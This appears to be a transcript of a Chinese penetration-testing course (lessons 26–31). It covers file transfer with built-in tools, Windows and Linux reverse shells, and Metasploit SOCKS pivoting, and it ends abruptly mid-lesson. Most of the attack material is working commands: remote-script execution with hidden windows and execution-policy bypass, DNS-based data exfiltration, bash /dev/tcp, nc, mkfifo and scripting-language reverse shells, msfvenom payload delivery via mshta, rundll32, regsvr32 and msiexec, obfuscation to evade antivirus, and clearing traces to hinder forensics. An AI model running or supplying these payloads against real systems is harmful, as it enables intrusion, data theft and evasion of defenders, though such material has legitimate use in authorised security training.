我们首先了解了Web请求的基本流程，区分了前端（浏览器）和后端（服务器）的角色。然后，我们系统学习了HTML，包括其文档结构、常用标签（特别是表单<form>和输入控件<input>）以及用于安全显示特殊字符的实体字符。接着，我们学习了JavaScript，掌握了其在HTML中的引入方式，以及如何通过DOM操作网页元素、通过BOM与浏览器交互。

理解这些前端知识是后续深入学习跨站脚本攻击（XSS）原理、利用及防御的基石。建议大家动手实践，编写简单的HTML页面并尝试用JavaScript进行交互，以巩固所学内容。

🛠️ 课程P60：第26天 - 系统文件传输方法详解

在本节课中，我们将学习在Windows和Linux系统下，利用系统自带工具或脚本环境进行文件传输的各种方法。这些技巧在渗透测试和日常运维中至关重要，能帮助我们在受限环境下上传或下载所需文件。

🪟 Windows系统下的文件传输

上一节我们概述了课程内容，本节中我们来看看Windows系统下常用的文件传输方法。Windows系统自带了许多命令行工具，我们可以利用它们来下载或上传文件，而无需额外安装软件。

清除操作痕迹

执行某些操作后，需要清除系统缓存以隐藏我们的活动痕迹。这样做的目的是避免管理员在后续溯源时，发现我们使用的木马或攻击方法。

例如，系统缓存目录可能记录了所使用的木马内容。管理员进行渗透测试后的溯源分析时，可以检查这些目录。我们可以使用特定命令来清除这些缓存。

清除缓存的命令很简单，在基础命令后添加 /del 或 -delete 参数即可。执行后，原本存在于目录下的缓存文件就会被删除，从而清除了操作痕迹。

利用系统自带命令行工具

前面的方法利用了Windows系统自带的命令行工具。这些工具是系统原生存在的，我们可以利用它们来下载已生成好的木马或其他工具文件。

以下是几种常见的方法：

  1. Certutil工具：
    certutil -urlcache -split -f http://example.com/file.exe localfile.exe
    此命令可用于从指定URL下载文件。

  1. Bitsadmin工具：
    bitsadmin /transfer myJob http://example.com/file.exe C:\localfile.exe
    此命令利用后台智能传输服务下载文件。

  1. PowerShell：
    这是功能非常强大的命令行工具，我们将在下一节详细讲解。

⚡ 使用PowerShell进行文件传输

上一节我们介绍了基础的Windows命令行工具，本节中我们重点看看功能更强大的PowerShell。在信息收集阶段我们已经接触过它，现在学习如何用它进行文件下载与执行。

PowerShell基础与对象创建

首先，在cmd中直接输入 powershell 即可进入PowerShell环境。其命令行提示符前通常有一个 PS 标识。

我们来看第一个语句，它将文件下载功能分成了两部分以便理解：

$p = New-Object System.Net.WebClient

第一部分通过 New-Object 创建了一个 System.Net.WebClient 对象，并将其赋值给变量 $p（$符号表示变量）。New-Object 用于创建对象实例。

System.Net.WebClient 对象提供了用于发送和接收URI标识资源数据的常用方法。这意味着我们可以通过该对象来请求并下载网络资源。

如果不理解这部分，可以参考预习资料中的PowerShell官方文档和关于常用.NET对象的文章，其中详细说明了 System.Net.WebClient 的作用。

下载文件的方法

创建对象后，第二部分调用该对象的 DownloadFile 方法：

$p.DownloadFile("http://example.com/file.hta", ".\file.hta")

DownloadFile 是该对象提供的方法，从字面意思可知其用于下载文件。它会获取指定URL的资源，并保存到本地指定路径。

我们以下载一个 44.hta 文件为例。执行上述两条命令后，即可在当前目录下生成该文件，表明下载成功。

合并命令与常用参数

实际操作中，我们可能需要在非持久化的PowerShell环境下（如通过Cobalt Strike执行单条命令）完成下载。这时，将多条语句合并为一行更为方便。

我们可以使用 -c（或 -Command）参数来执行指定的命令字符串：

powershell -c "$p=New-Object System.Net.WebClient;$p.DownloadFile('http://example.com/44.hta','44.hta')"

这条命令通过分号分隔，将对象创建和下载操作合并在一行中执行。

-c 是PowerShell的一个常用参数，表示执行后续字符串中的命令。可以通过 powershell -? 查看所有可用参数及其说明。

其他下载写法与Invoke-WebRequest

除了 WebClient，PowerShell还有更简洁的写法：

(New-Object System.Net.WebClient).DownloadFile('http://example.com/44.hta', 's.txt')

其作用与前述方法相同，只是语法更简洁。

另一种常用的方法是使用 Invoke-WebRequest cmdlet：

powershell -c "Invoke-WebRequest -Uri http://example.com/44.hta -OutFile D:\44.hta"

Invoke-WebRequest 可用于发起网络请求。通过 -OutFile 参数可将请求的资源保存为本地文件。

我们可以通过 help Invoke-WebRequest 命令查看其详细用法。其中，-Uri 指定资源地址，-OutFile 指定本地保存路径。

注意：在cmd环境中调用PowerShell命令时，需要在命令前加上 powershell。如果已处于PowerShell环境中，则无需添加，否则会报错。

别名与远程脚本加载

Invoke-WebRequest 有别名 iwr 和 wget，它们的功能是等价的：

powershell -c "iwr http://example.com/44.hta -OutFile 44.hta"
powershell -c "wget http://example.com/44.hta -OutFile 44.hta"

如果记不住长命令，可以使用这些别名。

PowerShell的一个强大功能是能直接加载并执行远程脚本。例如，加载一个远程的PowerShell脚本来反弹Shell：

powershell -w hidden -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://example.com/shell.ps1')"
  • -w hidden：隐藏执行窗口。
  • -exec bypass：绕过执行策略限制。
  • IEX：Invoke-Expression 的别名，将字符串作为命令执行。
  • DownloadString：将远程脚本内容加载到内存中执行，无文件落地。

Windows默认执行策略可能禁止运行脚本。通过 -exec bypass 可以绕过此限制。其他策略包括 Restricted（默认，禁止脚本）、RemoteSigned（允许本地和签名远程脚本）等。

🐧 Linux系统下的文件传输

上一节我们深入探讨了Windows下的PowerShell，本节中我们转向Linux系统。相比Windows，Linux下的文件传输命令通常更为简单直接。

以下是Linux下常用的文件下载命令：

  1. wget命令：
    最常用的下载工具之一。

    wget http://example.com/file.txt
wget -O newname.txt http://example.com/file.txt

    使用 -O 参数可以指定保存的文件名。

  2. curl命令：
    强大的网络数据传输工具，支持多种协议。

    curl -o file.txt http://example.com/file.txt
curl http://example.com/file.txt > file.txt

  3. nc (netcat) 命令：
    “网络瑞士军刀”，也可用于文件传输。

    • 发送文件（接收方监听）：
      # 接收方监听端口
nc -lvp 1234 > received_file
# 发送方发送文件
cat file_to_send | nc 接收方IP 1234
    • 接收文件（发送方监听）：
      # 发送方监听并准备文件
nc -lvp 1234 < file_to_send
# 接收方连接并获取文件
nc 发送方IP 1234 > received_file

    其原理是利用管道 | 和重定向 > 将文件内容通过网络端口传递。

  4. sftp命令：
    基于SSH的安全文件传输。

    sftp user@remote_host
sftp -P 2222 user@remote_host
sftp -i private_key user@remote_host

    使用 -P 指定端口，-i 指定私钥文件进行免密登录。

  5. DNS隧道传输数据（技巧）：
    一个特殊技巧，通过DNS查询泄露数据。

    cat test.txt | xxd -p -c 16 | while read line; do dig $line.domain.com; done
    • xxd -p -c 16：将文件内容每16字节转换为一行十六进制字符串。
    • while read line; do ... done：循环读取每一行。
    • dig $line.domain.com：将每行数据作为子域名进行DNS查询，数据会记录在DNS日志中。
      攻击者可在DNS日志平台收集这些子域名记录，然后重组并解码十六进制字符串，即可获取文件内容。这种方法常用于无外网出口时的数据外带。

📜 利用脚本语言进行文件传输

上一节我们介绍了Linux下的各种命令，本节我们看看当系统命令不可用时，如何利用常见的脚本语言环境进行文件传输。在Web服务器等环境中，通常存在PHP、Python等运行时，我们可以加以利用。

PHP

利用 file_get_contents 和 file_put_contents 函数。

<?php
    $content = file_get_contents('http://example.com/file.txt');
    file_put_contents('local.txt', $content);
?>
  • file_get_contents：将整个文件读入字符串。
  • file_put_contents：将字符串写入文件。

可以直接在命令行使用 -r 参数执行PHP代码，无需 <?php ?> 标签：

php -r "$c=file_get_contents('http://example.com/file.txt'); file_put_contents('local.txt',$c);"

Python

Python使用 urllib 或 requests 库。

# Python 2
python -c "import urllib; urllib.urlretrieve('http://example.com/file.txt', 'local.txt')"

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/926f6e594ba6daa8d534b730eec7335d_214.png)

# Python 3
python3 -c "import urllib.request; urllib.request.urlretrieve('http://example.com/file.txt', 'local.txt')"

-c 参数允许在命令行中直接执行Python代码。

Perl 和 Ruby

这两种脚本语言也能实现类似功能。

# Perl
perl -e "use LWP::Simple; getstore('http://example.com/file.txt', 'local.txt');"

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/926f6e594ba6daa8d534b730eec7335d_220.png)

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/926f6e594ba6daa8d534b730eec7335d_222.png)

# Ruby
ruby -e "require 'open-uri'; File.write('local.txt', URI.open('http://example.com/file.txt').read)"

核心思路：当目标系统存在特定的脚本运行环境（如Web服务器常备PHP、Python）但缺少系统下载命令时，优先考虑使用这些环境对应的脚本语言来完成任务。

📝 总结

本节课中，我们一起学习了在不同操作系统环境下进行文件传输的多种方法。

  • 在 Windows 下，我们主要利用系统自带的 certutil、bitsadmin 以及功能强大的 PowerShell。PowerShell可以通过 WebClient 对象、Invoke-WebRequest 以及远程加载脚本 (IEX + DownloadString) 等方式灵活地下载文件或执行代码，并需要注意执行策略和隐藏窗口等参数。
  • 在 Linux 下，我们学习了 wget、curl、nc、sftp 等标准命令，还了解了一个通过 DNS隧道外带数据 的特殊技巧。
  • 最后，我们探讨了当系统命令不可用时，如何利用 脚本语言环境（如PHP、Python、Perl、Ruby）来实现文件传输，这是在Web渗透中常见的备用手段。

掌握这些方法能帮助我们在各种受限环境下，更有效地进行文件操作和后续渗透测试工作。请大家务必在课后动手实践，加深理解。

网络安全就业推荐 P61：第27天 - Windows反弹Shell方法大全 🛡️💻

概述

在本节课中，我们将要学习Windows系统下的反弹Shell技术。课程首先会补充上节课遗留的FTP文件传输问题，然后详细介绍正向Shell与反向Shell（反弹Shell）的核心概念，并重点讲解多种在Windows环境下实现反弹Shell的实用方法。

上节课内容补充：FTP文件传输

上一节我们介绍了内网文件传输的多种方式。在讲解使用FTP方式时，曾遇到一个问题。本节我们首先对此进行补充说明。

上节课我们编写了一个名为 ftp.txt 的脚本，并通过 copy 命令将其写入目标机器。然后使用以下语句自动下载文件：

ftp -A -s:ftp.txt

该脚本对应的FTP命令序列如下：

open [FTP服务器IP]
anonymous
[回车]
get 6789.exe
quit

执行流程是：连接FTP服务器 -> 匿名登录 (anonymous，密码为空) -> 使用 get 命令下载指定文件 -> 退出。通过这种方式，可以成功将文件从FTP服务器下载到目标机器的本地。

在服务端，我们使用Python启动一个简易的FTP服务器：

python3 -m pyftpdlib

客户端连接后，可以使用 ls 命令查看服务器端（默认为启动服务的目录，如root目录）的文件列表，使用 get 下载文件，使用 put 上传文件。

第一部分：理解反弹Shell 🔄

在深入具体方法之前，我们需要理解两个核心概念：正向Shell和反向Shell。

正向Shell (Bind Shell)

控制端主动发起连接请求去连接被控制端，且中间的网络链路不存在阻碍。

原理：攻击者（控制端）主动连接目标机器（被控制端）监听的特定端口，从而获取一个Shell。
适用场景：目标机器拥有公网IP，或攻击者可以直接访问到目标机器，中间无防火墙等设备拦截。
示意图：

控制端 (Attacker) ---主动连接---> 被控端 (Target)

反向Shell / 反弹Shell (Reverse Shell)

被控制端主动发起连接请求去连接控制端。

原理：攻击者先在自有服务器上监听一个端口。然后通过某种方式让目标机器主动连接攻击者的服务器端口，并将自己的Shell重定向到该连接，从而攻击者获得Shell。
适用场景：目标机器处于内网、有防火墙限制、或IP动态变化，导致攻击者无法直接连接时。因为内网机器通常可以主动访问外网。
示意图：

控制端 (Attacker) <---主动连接--- 被控端 (Target)

核心区别：连接发起的方向相反。反向Shell是“被控端找控制端”，常用于穿透网络限制。

第二部分：Windows反弹Shell方法详解 🧰

理解了基本原理后，本节我们来看看在Windows系统上实现反弹Shell的多种具体方法。

方法一：使用 NC (Netcat)

NC是一个网络工具中的“瑞士军刀”，常用于建立网络连接。

1. 正向Shell (使用NC)

在目标机器（被控端）上执行：

nc -lvp 6666 -e cmd.exe
  • -l: 监听模式
  • -v: 显示详细信息
  • -p 6666: 指定监听端口
  • -e cmd.exe: 连接建立后执行的程序（此处为cmd）

在攻击机器（控制端）上执行：

nc [目标IP] 6666

原理：被控端将cmd.exe绑定到本地6666端口。控制端连接该端口后，直接与被控端的cmd.exe交互。

2. 反向Shell (使用NC)

在攻击机器（控制端）上先监听：

nc -lvp 54321

在目标机器（被控端）上执行：

nc [控制端IP] 54321 -e cmd.exe

原理：控制端监听54321端口。被控端主动连接到控制端的54321端口，并将自身的cmd.exe重定向到该连接。控制端从而获得Shell。

方法二：利用 MSHTA 执行远程HTA文件

mshta.exe 是Windows自带的用于解释执行HTA（HTML Application）文件的程序。

方式1：使用MSF的 exploit/windows/misc/hta_server 模块

以下是操作步骤：

  1. 启动MSF并加载模块：
    use exploit/windows/misc/hta_server
  2. 配置模块选项：
    set SRVHOST [你的MSF服务器IP]
set SRVPORT 8080
set LHOST [你的监听IP]
set LPORT 5555
    • SRVHOST/SRVPORT: HTA文件托管服务器的地址和端口。
    • LHOST/LPORT: 反弹Shell接收端的地址和端口。
  3. 配置Payload：
    set payload windows/x64/meterpreter/reverse_tcp
  4. 执行并生成恶意HTA链接：
    exploit -j
    执行后，模块会返回一个URL，例如 http://[SRVHOST]:[SRVPORT]/[随机].hta。
  5. 在目标机器上触发：
    在目标机器的命令行中执行：
    mshta http://[你的MSF服务器IP]:8080/[随机].hta
  6. 获取Shell：
    执行后，MSF的监听器会收到来自目标机器的反向连接，并建立一个Meterpreter会话。

原理：生成的HTA文件包含恶意PowerShell脚本，该脚本会下载并执行Meterpreter的Stage载荷，从而建立反向连接。

方式2：使用Cobalt Strike生成HTA文件

  1. 在Cobalt Strike中，选择 攻击 -> 生成后门 -> HTML Application。
  2. 选择 PowerShell 类型，并指定一个监听器。
  3. 生成后，会得到一个 .hta 文件。
  4. 通过钓鱼邮件、文件共享等方式诱使目标用户执行，或在已获得命令执行权限的情况下，直接在目标机器命令行执行：
    mshta http://[CS服务器IP]:[端口]/payload.hta

方法三：利用 Rundll32 执行远程DLL文件

rundll32.exe 可以调用DLL文件中的导出函数。

方式1：使用MSF的 exploit/windows/smb/smb_delivery 模块

  1. 加载模块并配置：
    use exploit/windows/smb/smb_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST [监听IP]
set LPORT [监听端口]
exploit -j
  2. 获取执行命令：
    执行后，MSF会生成一个类似如下的命令：
    rundll32.exe \\[你的IP]\test\test.dll,0
  3. 在目标机器上执行：
    将上述命令在目标机器上执行。
  4. 局限性：该方法依赖于SMB协议。在Windows 10等高版本系统上，由于默认禁用SMBv1或安全策略限制，可能会失败。

原理：MSF模块启动一个SMB共享，其中包含恶意DLL。rundll32 通过UNC路径远程加载并执行该DLL中的代码。

方式2：手动生成DLL并执行

  1. 使用MSF生成恶意DLL：
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[IP] LPORT=[端口] -f dll -o shell.dll
  2. 将DLL文件上传到目标机器（利用之前学过的文件传输方法）。
  3. 在目标机器上使用Rundll32执行（注意使用绝对路径）：
    rundll32.exe C:\Path\To\shell.dll,StartW
  4. 在MSF中启动监听器：
    use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST [IP]
set LPORT [端口]
exploit

方法四：利用 Regsvr32 执行远程SCRIBLET文件

regsvr32.exe 用于注册和注销DLL等组件，但它可以远程执行.sct脚本文件。

使用MSF的 exploit/windows/misc/regsvr32_applocker_bypass_server 模块

  1. 加载模块并配置：
    use exploit/windows/misc/regsvr32_applocker_bypass_server
set payload windows/x64/meterpreter/reverse_tcp
set LHOST [监听IP]
set LPORT [监听端口]
set TARGET 3 # 对应 regsvr32 方法
exploit -j
  2. 获取执行命令：
    模块会生成一条PowerShell命令，其中包含远程.sct文件的地址。
  3. 在目标机器上执行该PowerShell命令。
  4. 原理：.sct文件是一个XML格式的脚本，其中包含加密的PowerShell载荷。regsvr32 会下载并执行该脚本，最终加载Meterpreter。

方法五：利用 Certutil 下载并执行文件

certutil.exe 是Windows证书工具，但常被用于下载文件。

  1. 在攻击机生成Payload并启动Web服务：
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[IP] LPORT=[端口] -f exe -o shell.exe
python3 -m http.server 80
  2. 在攻击机启动MSF监听器。
  3. 在目标机器执行下载与运行：
    certutil -urlcache -split -f http://[攻击机IP]/shell.exe shell.exe && shell.exe

方法六：利用 PowerShell 的强大功能

PowerShell是Windows上功能强大的脚本语言和命令行工具。

方式1：使用 PowerCat (PowerShell版的NC)

  1. 下载PowerCat脚本，并在攻击机启动Web服务托管它。
  2. 在攻击机用NC监听端口：
    nc -lvp 12345
  3. 在目标机器通过PowerShell远程加载并执行PowerCat：
    powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://[攻击机IP]/powercat.ps1');powercat -c [攻击机IP] -p 12345 -e cmd"
    • IEX(...)：下载并执行远程脚本。
    • powercat -c ... -e cmd：连接到攻击机IP的12345端口，并反弹cmd shell。

方式2：使用MSF的 web_delivery 模块 (PSH目标)

  1. 加载模块并配置为PowerShell目标：
    use exploit/multi/script/web_delivery
set target 2 # PSH
set payload windows/x64/meterpreter/reverse_tcp
set LHOST [IP]
set LPORT [端口]
exploit -j
  2. 在目标机器执行生成的PowerShell命令。

方式3：通过PowerShell调用 CScript 执行脚本

可以生成VBS或JS格式的Payload，然后用PowerShell下载并调用cscript.exe执行。

$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cscript.exe';$p.StartInfo.Arguments='C:\Windows\Temp\payload.vbs';$p.Start()

方法七：利用 Msiexec 执行远程MSI安装包

msiexec.exe 是Windows安装器，可以执行远程的MSI文件。

  1. 使用MSF生成恶意MSI文件：
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[IP] LPORT=[端口] -f msi -o setup.msi
  2. 在攻击机启动Web服务托管setup.msi，并启动MSF监听器。
  3. 在目标机器执行：
    msiexec /q /i http://[攻击机IP]/setup.msi
    • /q: 安静模式
    • /i: 安装

方法八：生成EXE文件并配合PowerShell执行

这是最直接的方式。

  1. 生成EXE格式的Payload。
  2. 通过PowerShell下载并执行：
    (New-Object Net.WebClient).DownloadFile('http://[攻击机IP]/shell.exe','shell.exe');Start-Process .\shell.exe
    或者使用 Start 命令：
    Start-Process .\shell.exe
# 或直接
.\shell.exe

方法九：PowerShell代码混淆与免杀

直接使用上述PowerShell命令容易被杀毒软件检测。可以使用混淆工具来绕过。

一个强大的工具是 Invoke-Obfuscation。

基本使用步骤：

  1. 在PowerShell中导入模块：
    Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation
  2. 设置要混淆的脚本文件：
    SET SCRIPTPATH .\original_payload.ps1
  3. 选择混淆方法，例如 TOKEN（令牌混淆）：
    TOKEN
ALL
1
  4. 输出混淆后的代码到文件：
    OUT .\obfuscated_payload.ps1

混淆后的脚本能有效规避部分静态查杀，但需注意动态行为可能仍会被高级杀软检测。

实验与总结 🧪

课后实验

请尝试在实验环境中（务必使用虚拟机，勿用于非法用途）实践至少三种本节课介绍的Windows反弹Shell方法，并理解其过程。

课程总结

本节课我们一起学习了Windows系统下的反弹Shell技术。

  1. 核心概念：我们首先区分了正向Shell与反向Shell（反弹Shell），理解了反弹Shell在穿透网络限制时的关键作用。
  2. 多种方法：我们详细探讨了九大类实现方法，涵盖了从经典的NC工具，到利用mshta、rundll32、regsvr32、certutil、msiexec等系统自带程序，再到功能强大的PowerShell及其多种利用技巧（如PowerCat、web_delivery、脚本执行、混淆免杀等）。
  3. 工具结合：课程演示了如何将Metasploit Framework (MSF) 和 Cobalt Strike (CS) 等渗透测试框架与这些方法结合，自动化生成Payload和建立监听。
  4. 原理理解：每种方法我们都力求阐明其背后的命令和原理，例如如何通过重定向标准流、远程下载执行代码、调用特定函数等来实现Shell的反弹。

掌握这些方法的核心在于理解其本质：让目标机器以某种形式，主动连接攻击者控制的服务器，并在此连接上交互式地执行命令。在实际安全测试中，需要根据目标环境、权限、防护软件等情况，灵活选择和组合这些方法。

🐧 P62：第29天：Linux反弹Shell方法大全

在本节课中，我们将要学习Linux系统下多种反弹Shell的方法。理解反弹Shell的原理是网络安全中一项重要的技能，它涉及到输入/输出重定向、文件描述符、网络连接等核心概念。我们将从基础概念讲起，逐步深入到具体的命令实现。

📚 课程概述

上一节我们介绍了正向Shell与反向Shell的基本概念。本节中，我们来看看在Linux环境下，如何通过各种工具和技术实现反弹Shell。我们将重点讲解其背后的原理，特别是Linux的“一切皆文件”哲学和文件描述符的重定向机制。

🔍 核心概念：Linux标准文件描述符与重定向

在深入反弹Shell命令之前，我们需要理解一些前提知识，特别是Linux的标准文件描述符和重定向操作。

标准文件描述符

Linux系统将一切设备都视为文件来处理，并用文件描述符来标识每个文件对象。系统启动时会默认打开三个文件描述符：

  • 0 (stdin): 标准输入，默认指向键盘。
  • 1 (stdout): 标准输出，默认指向显示器。
  • 2 (stderr): 标准错误输出，默认也指向显示器。

例如，在Shell中输入命令 ls，ls 这个字符串来自文件描述符0（键盘输入）。命令执行后的结果（如文件列表）通过文件描述符1输出到显示器。如果输入了无法识别的命令，错误信息则通过文件描述符2输出到显示器。

输入/输出重定向

重定向的本质是改变文件描述符的指向。

  • 输入重定向 (<): 从文件中读取输入，而非键盘。
    read user < /tmp/test.txt
  • 输出重定向 (>): 将输出保存到文件，而非显示器。
    ls > /tmp/output.txt
  • 管道符 (|): 将一个程序的输出作为另一个程序的输入。
    netstat -anlp | grep 80

使用 exec 命令操作文件描述符

exec 命令可以用来更改当前Shell的文件描述符指向，或者创建新的文件描述符。

  • 更改标准输出位置:
    exec 1> /tmp/test.txt
    执行此命令后，后续所有命令的标准输出都将写入 /tmp/test.txt 文件，而不会显示在终端上。
  • 创建自定义文件描述符:
    exec 5<> /tmp/testfile
echo "Hello" >&5
cat <&5
    这里创建了文件描述符5，并将其与文件 /tmp/testfile 关联。之后可以通过 >&5 和 <&5 来向该文件写入或读取数据。

特殊文件 /dev/null

/dev/null 是一个特殊的设备文件，写入它的任何数据都会被丢弃。常用于隐藏错误输出：

command_that_might_fail 2> /dev/null

🛠️ Linux反弹Shell方法详解

理解了文件描述符和重定向后，我们来看具体的反弹Shell实现。其核心思想是：在目标机器（被控端）上，将交互式Shell的输入、输出和错误流，全部重定向到一个通往攻击者机器（控制端）的网络连接中。

方法一：使用 nc (Netcat)

nc 是最常用的网络工具之一，其 -e 参数可以直接绑定一个Shell。

  • 正向Shell (控制端连接被控端):
    # 在被控端执行
nc -l -p 4444 -e /bin/bash
# 在控制端执行
nc [被控端IP] 4444
  • 反向Shell (被控端主动连接控制端):
    # 在控制端执行
nc -l -p 4444
# 在被控端执行
nc [控制端IP] 4444 -e /bin/bash
    注意：某些环境中的 nc 可能不支持 -e 参数。

方法二：bash 内置的重定向

这是Linux下最经典、最常用的反弹Shell命令之一。

bash -i >& /dev/tcp/[控制端IP]/[控制端端口] 0>&1
  • bash -i: 打开一个交互式的bash。
  • >& /dev/tcp/...: 将bash的标准输出和标准错误输出都重定向到TCP连接。/dev/tcp/[IP]/[端口] 是bash的一个特殊功能，打开它会发起一个Socket连接。
  • 0>&1: 将标准输入重定向到标准输出（即TCP连接）。这样，从TCP连接收到的数据会成为bash的输入。

命令拆解理解:

  1. 输出到控制端: bash -i > /dev/tcp/10.0.0.1/4444
  2. 输入来自控制端: bash -i < /dev/tcp/10.0.0.1/4444
  3. 合并输入输出: bash -i > /dev/tcp/10.0.0.1/4444 0>&1
  4. 包含错误输出: bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

方法三：使用命名管道 (mkfifo)

当 nc 没有 -e 参数时，可以利用命名管道实现同样的功能。

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc [控制端IP] [控制端端口] > /tmp/f
  1. mkfifo /tmp/f 创建一个命名管道文件。
  2. cat /tmp/f 从管道中读取内容。
  3. | /bin/sh -i 2>&1 将读取的内容交给Shell执行，并将Shell的输出和错误合并。
  4. | nc ... > /tmp/f 将Shell的输出通过nc发送到控制端，同时也写回 /tmp/f 管道。
  5. 这样就形成了一个循环：控制端发送的命令 -> 通过nc传入 -> 写入 /tmp/f -> 被 cat 读取 -> 交给Shell执行 -> 结果通过nc传回控制端并再次写入管道（维持循环）。

方法四：其他脚本语言

各种脚本语言（Python, Perl, PHP, Ruby等）都可以通过调用Socket库建立连接，并重定向进程的输入输出来实现反弹Shell。

  • Python:
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[控制端IP]",[控制端端口]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • PHP:
    php -r '$sock=fsockopen("[控制端IP]",[控制端端口]);exec("/bin/sh -i <&3 >&3 2>&3");'
  • 使用MSFVenom生成Payload:
    # 查找payload
msfvenom -l payloads | grep 'cmd/unix' | grep 'reverse'
# 生成bash反弹Shell的Perl代码
msfvenom -p cmd/unix/reverse_perl LHOST=[控制端IP] LPORT=[控制端端口] -f raw

方法五：使用 openssl 加密通信

为了避免流量被检测，可以使用 openssl 建立加密的反弹Shell。

# 在控制端生成证书并监听
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port [控制端端口]
# 在被控端连接
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect [控制端IP]:[控制端端口] > /tmp/s; rm /tmp/s

📝 总结

本节课中我们一起学习了Linux下多种反弹Shell的方法。我们从最基础的Linux文件描述符和重定向原理讲起，明白了反弹Shell的本质是对Shell的输入、输出、错误流进行网络重定向。

核心要点包括：

  1. 理解 stdin(0)、stdout(1)、stderr(2) 及其重定向。
  2. 掌握 bash 结合 /dev/tcp 的经典反弹命令。
  3. 了解使用命名管道 (mkfifo) 在没有 nc -e 时的替代方案。
  4. 知道如何用Python、Perl等脚本语言实现同样功能。
  5. 认识到可以使用 openssl 对反弹Shell流量进行加密。

建议课后在实验环境中逐一测试这些命令，并尝试分析其数据流向，这将极大地加深你对进程间通信和网络攻防的理解。

课程P63：第31天 - Metasploit Socks代理实战 🚀

在本节课中，我们将学习Socks代理的基本概念、常用工具，并通过一个靶场实战演示如何利用Metasploit建立Socks代理通道进行内网穿透。

概述

Socks代理是一种网络传输协议，常用于在客户端与外网服务器之间建立通信通道。在网络安全领域，它常被用作内网穿透的技术手段。本节课将分为三个部分：首先介绍Socks代理的基本原理，然后列举相关工具，最后通过Metasploit进行实战演练。

第一部分：Socks代理简介 🔍

上一节我们概述了课程内容，本节中我们来深入了解什么是Socks代理。

Socks是一个网络传输协议，主要用于客户端与外网服务器之间的通信中转。它充当内网客户端与外网服务器之间的数据传输通道。

根据OSI或TCP/IP五层模型，Socks会话协议位于表示层与传输层之间，属于会话层协议。它使用TCP协议传输数据。

需要注意的是，Socks协议不提供传递ICMP信息类的网络层网关服务。ICMP协议（如常用的ping命令）位于网络层，而Socks协议通过TCP/IP传输数据，因此不支持通过Socks通道使用ping命令探测内网主机存活状态。

使用Socks通道的优势

在现代网络架构中，内部网络与外部网络通常通过防火墙等设备进行隔离，限制直接访问。防火墙通常以应用层网关形式工作，控制如HTTP、FTP、SMTP等协议的访问。Socks通道可以安全、透明地穿过防火墙，实现受限制协议的通信。

Socks代理版本

以下是Socks4与Socks5两个版本的主要特点与区别：

  • Socks4： 是HTTP代理协议的增强，它代理所有向外连接，没有协议限制。
  • Socks5： 是Socks4版本的扩展，增加了对UDP代理和身份验证的支持。Socks5采用地址解析方案，支持域名和IPv6地址解析。

使用Socks代理的要点

使用Socks代理时，需要了解以下三点：

  1. 代理服务器IP地址： 客户端需要通过代理服务器IP建立Socks通道。
  2. 代理服务器端口： 通常默认端口为1080。
  3. 身份验证： 需要确认代理服务是否需要进行身份验证（即是否需要账号密码）。

第二部分：Socks代理相关工具 🛠️

上一节我们介绍了Socks代理的基本概念，本节中我们来看看有哪些常用的Socks代理工具。

以下是几种常用的内网穿透与代理工具：

  • EarthWorm (ew)： 一个便携式网络穿透工具，功能强大。主要用于内网穿透，支持建立Socks5服务器和端口转发。该工具已停止更新，但可在提供的工具包或网络上找到。
  • frp： 一个高性能的反向代理应用，适用于内网穿透。下节课将介绍在无法使用MSF时，如何利用frp等进行内网穿透。
  • Proxychains： 一个常用的代理工具，在Linux系统中经常用于使应用的网络流量通过指定的代理。例如，配置Proxychains后，可以使nmap等工具的扫描流量通过Socks代理通道进入目标内网。
    • 配置示例（在/etc/proxychains.conf末尾）：
      socks5 192.168.78.1 10800
    • 使用示例：
      proxychains curl google.com
  • 其他工具： 如SocksCap、Proxifier等Windows平台的全局代理工具，可以将本机应用程序的流量导入配置的代理通道。

第三部分：Metasploit Socks代理实战 ⚔️

前面两节我们学习了理论基础和工具，本节我们将进入实战环节，利用Metasploit进行Socks代理内网穿透。

本次实战使用一个模拟的靶场环境（CFS商城靶场），该环境便于理解内网穿透场景。攻击者从外网开始，逐步向内网渗透。

实战场景

模拟场景包含以下机器：

  • 攻击机 (Attacker)： 我们的Kali Linux机器。
  • 公网服务器 (Target 1)： IP为 192.168.78.66，模拟公司对外的Web服务器。
  • 内网机器 (Target 2, Target 3)： 处于192.168.22.0/24和192.168.33.0/24网段，外部无法直接访问。

攻击路径： 首先攻陷公网服务器(Target 1)，将其作为跳板机，然后通过它攻击内网的其他机器(Target 2, Target 3)。

实战步骤

1. 信息收集与初始攻击

面对目标IP 192.168.78.66，第一步是进行信息收集，重点是端口扫描。

使用nmap进行综合扫描：

nmap -A -T4 -p- --script=vuln 192.168.78.66
  • -A： 综合扫描，获取OS、服务版本等详细信息。
  • -T4： 设置扫描速度（1-5，数字越大越快）。
  • -p-： 扫描全端口（1-65535）。
  • --script=vuln： 运行漏洞检测脚本。

扫描结果显示开放了21(FTP)、22(SSH)、80(HTTP)等端口。访问80端口是一个默认页面。

2. 漏洞利用与获取Shell

对于简单的Web页面，常见的测试方向包括目录枚举、寻找后台、测试默认口令或已知漏洞等。假设通过枚举发现了一个存在漏洞的管理后台，并利用其成功获取了Target 1 (192.168.78.66) 的Meterpreter Shell。

3. 内网探测与Socks代理建立

